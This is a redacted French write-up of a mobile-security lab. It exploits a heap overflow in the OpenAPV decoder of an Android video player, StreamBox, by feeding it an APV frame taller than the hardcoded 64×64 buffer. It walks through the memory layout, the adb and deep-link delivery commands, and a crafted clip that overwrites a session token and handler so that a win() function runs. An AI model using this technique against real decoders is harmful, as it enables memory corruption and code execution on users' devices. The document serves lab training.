
Notes expurgées sur CVE-2026-28618 / labo StreamBox APV — écriture dans le tas dans un objet de session via une incohérence de hauteur FRAME
CVE-2026-28618 dans StreamBox — la même classe de décodeur OpenAPV que CVE-2026-0006, transformée en écriture sur le tas visant un objet de session.
Ce dépôt est un writeup public et caviardé : les flags, les jetons d'instance et la clé HMAC sont omis. L'APK et make_clip.py appartiennent à Mobile Hacking Lab ; ils ne sont pas reproduits ici.

StreamBox est un petit lecteur APV. APV signifie Advanced Professional Video (RFC 9924), le codec libre de redevances de Samsung, la même famille que celle intégrée à la pile média d'Android. Le pitch du lab tient en une phrase : le lecteur lit les clips partagés dès leur arrivée.
SEND, VIEW ou streambox://play?url=… copie un fichier dans files/incoming.apv et NativeDec.loadClip() s'exécute.
La faille est CVE-2026-28618 : un débordement de tampon sur le tas dans dec_frm_prepare d'OpenAPV. Même classe de décodeur que CVE-2026-0006.
Le lab présente cette écriture comme un jeu. Déborder le plan Y codé en dur en 64×64, écraser un objet de session adjacent, rediriger le teardown vers handlers[2], et le Worker renvoie le flag.
Le kit se compose de deux zips fournis par le lab :
streambox-lab.apk.zip — le lecteurmake_clip.py.zip — comment les clips de la bibliothèque 64×64 ont été construits, et le bitstream que vous débordezL'image système ARM64 QEMU d'Android Studio est mal adaptée à un hôte x86-64. Cet APK est en arm64-v8a / minSdk 34. Un AVD x86_64 API 34 avec libndk_translation.so (abilist=x86_64,arm64-v8a) l'installe et l'exécute.


PlayerActivity fait :
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
loadClip renvoie 1 (premium / session smash) ou 2 (win() déjà exécuté). openTier ne fait que naviguer dans l'interface.
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
Au démarrage, l'application a déjà effectué POST /api/instance et NativeDec.setPlatinumToken(token). C'est ce token que le débordement doit écrire dans la session.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
Le oapv_imgb_t est codé en dur en 64×64, YUV 10 bits. Le plan 0 (Y) commence à arena+0. 64 × 64 × 2 = 0x2000. La session est arena + 0x2000 + pad. pad est SB_SESS_PAD ou un quartet aligné sur 0x400 de rand() après srand(getpid()^time()). Sur l'AVD, Sunset Drive a journalisé session-arena = 0x3800 (pad = 0x1800). La tuile supplémentaire de 64×128 fait 0x2000 octets, elle atteint donc toujours la session pour ces valeurs de pad.
oapvd_decode() écrit à la largeur/hauteur du FRAME PBU. Un FRAME plus haut que 64 écrit des échantillons 10 bits directement dans session.
Après le décodage :
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

Le générateur du lab dessine 32 images de 64×64 en RGB, les convertit en yuv422p10le, et délègue au encodeur de référence OpenAPV :
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
Chaque clip fourni contient 32 unités d'accès de FRAME 64×64 :
[u32be au_size] ['aPv1' + PBUs] × 32
Le lecteur alloue 64×64. Les tuiles APV font 64×64.
qemu-user (qemu-aarch64 + Android 10 linker64) et l'AVD concordent :
| Clip | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| Clip de bibliothèque 64×64 | 0 | 0 (premium_hit=0) |
| hauteur d'en-tête 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT, même assertion, le processus meurt (accueil après plantage) |
| véritable encodage 64×128 (deux tuiles, QP 0) | 1 | 1 premium_hit=1 → ANOMALIE DE SESSION |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity

Un second encodage, en boucle fermée sur la recon de l'encodeur, implante le access token actif et le gestionnaire 2 (l'entrée Y≈4 se reconstruit en 2). Répétez ce préfixe de 16 octets sur le plan Y 64×128 afin que le remplissage n'ait pas d'importance.
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
Sur l'AVD :
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

win() s'est exécuté à l'intérieur de loadClip. openTier(2) n'a fait qu'ouvrir PremiumActivity, qui a envoyé cette preuve par POST.
Configuration pour qemu-user (et non l'émulateur ARM64 d'Android Studio) : voir les commentaires dans encode_overflow.py et le qemu-harness/README.md du lab.
PoC public associé pour la classe de bug parente : mobilehackinglab/CVE-2026-0006-openapv-poc.
Le module Python urllib reçoit un 1010 de Cloudflare. curl avec un UA mobile fonctionne.